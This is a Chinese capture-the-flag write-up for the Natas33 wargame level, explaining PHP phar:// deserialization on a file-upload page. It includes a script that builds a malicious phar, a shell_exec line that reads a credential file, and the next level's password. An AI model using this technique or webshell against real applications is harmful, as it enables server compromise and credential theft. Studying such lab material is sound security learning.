Natas33：
又是一个上传文件的页面，源码如下：
// graz XeR, the first to solve it! thanks for the feedback!
// ~morla
class Executor{
private $filename=""; //三个私有参数
private $signature=‘adeafbadbabec0dedabada55ba55d00d‘;
private $init=False;
function __construct(){ //类创建时调用
$this->filename=$_POST["filename"];
if(filesize($_FILES[‘uploadedfile‘][‘tmp_name‘]) > 4096) { //限制文件大小
echo "File is too big<br>";
}
else { //将文件移动到/natas33/upload/目录下
if(move_uploaded_file($_FILES[‘uploadedfile‘][‘tmp_name‘], "/natas33/upload/" . $this->filename)) {
echo "The update has been uploaded to: /natas33/upload/$this->filename<br>";
echo "Firmware upgrad initialised.<br>";
}
else{
echo "There was an error uploading the file, please try again!<br>";
}
}
}
function __destruct(){ //类销毁时调用
// upgrade firmware at the end of this script
// "The working directory in the script shutdown phase can be different with some SAPIs (e.g. Apache)."
if(getcwd() === "/") chdir("/natas33/uploads/"); //getchwd() 函数返回当前工作目录。chdir() 函数改变当前的目录。
if(md5_file($this->filename) == $this->signature){ //md5_file() 函数计算文件的 MD5 散列。
echo "Congratulations! Running firmware update: $this->filename <br>";
passthru("php " . $this->filename); //执行外部命令
}
else{
echo "Failur! MD5sum mismatch!<br>";
}
}
}
session_start();
if(array_key_exists("filename", $_POST) and array_key_exists("uploadedfile",$_FILES)) {
new Executor();
}
查看源码，我们知道，当上传文件的MD5校验与adeafbadbabec0dedabada55ba55d00d匹配时，服务器会执行这个文件。很容易想到MD5碰撞，然而这里是无用的，因为对其进行了限制，限制为4096字节。
查看前端代码，会发现我们可以修改两个参数，文件名和文件内容。在下面这段代码中，我们可以看到文件名的设置，是用的session_id作为默认值。而且源码对上传文件的类型没有限制。
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="4096" />
<input type="hidden" name="filename" value="<? echo session_id(); ?>" />
Upload Firmware Update:<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
继续审计源码，发现在类销毁时调用了__destruct()魔术方法，猜测代码中可能存在PHP反序列化漏洞。
我们利用反序列化漏洞，一般都是借助unserialize()函数，不过随着人们安全的意识的提高，这种漏洞利用越来越来难了，但是在2018年8月份的Blackhat2018大会上，来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式，利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利用Phar:// 伪协议读取phar文件时，会反序列化meta-data储存的信息（文章地址：https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It%27s-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf）。
Phar文件结构
Phar文件主要包含三至四个部分：
1. A stub
- stub的基本结构：<?php HALT_COMPILER();，stub必须以HALT_COMPILER();来作为结束部分，否则Phar拓展将不会识别该文件
2. a manifest describing the contents
- Phar文件中被压缩的文件的一些信息，其中Meta-data部分的信息会以反序列化的形式储存，这里就是漏洞利用的关键点
3. the file contents
- 被压缩的文件内容，在没有特殊要求的情况下，这个被压缩的文件内容可以随便写的，因为我们利用这个漏洞主要是为了触发它的反序列化
4. a signature for verifying Phar integrity
- 签名校验
尝试利用phar反序列化漏洞获取密码
一 序列化
根据文件结构我们来自己构建一个phar文件（php内置了一个Phar类），代码如下：
<?php
class Executor {
private $filename = "xx.php";
private $signature = True;
private $init = false;
}
$phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->addFromString("test.txt", ‘test‘); //添加要压缩的文件
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Executor();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->stopBuffering(); //签名自动计算
?>
这段代码将filename修改成了xx.php，将signature修改为True。这样的的话，MD5比较将会始终为真，passthru()函数将会执行xx.php。
代码直接运行的时候会报错：
将php.ini中的phar.readonly设置成off，重启服务后，重新运行代码，生成了一个test.phar文件。
用Notepad++打开文件，可以发现，meta-data已经以序列化的形式存在test.phar文件中
说明一下：其实就是把要执行的命令序列化保存在phar的压缩文件里
二 反序列化
对应序列化，肯定存在着反序列化的操作。php文件系统中很大一部分的函数在通过phar://解析时，存在着对meta-data反序列化的操作。
首先，上传一个用来读取密码的php文件，代码如下：
<?php echo shell_exec(‘cat /etc/natas_webpass/natas34‘); ?>
用bp将其拦截，修改名称为xx.php。然后点击Go，上传成功。
然后，将生成的phar文件上传，并重命名，点击Go，上传成功。
最后，将文件名修改为phar://test.phar/test.txt，强制md5_file()函数解析phar文档，获取到flag。
flag：shu5ouSu6eicielahhae0mohd4ui5uig
参考：
https://blog.csdn.net/baidu_35297930/article/details/99974886
https://www.cnblogs.com/zy-king-karl/p/11454609.html
https://www.cnblogs.com/Byqiyou/p/10187672.html
原文地址：https://www.cnblogs.com/zhengna/p/12381943.html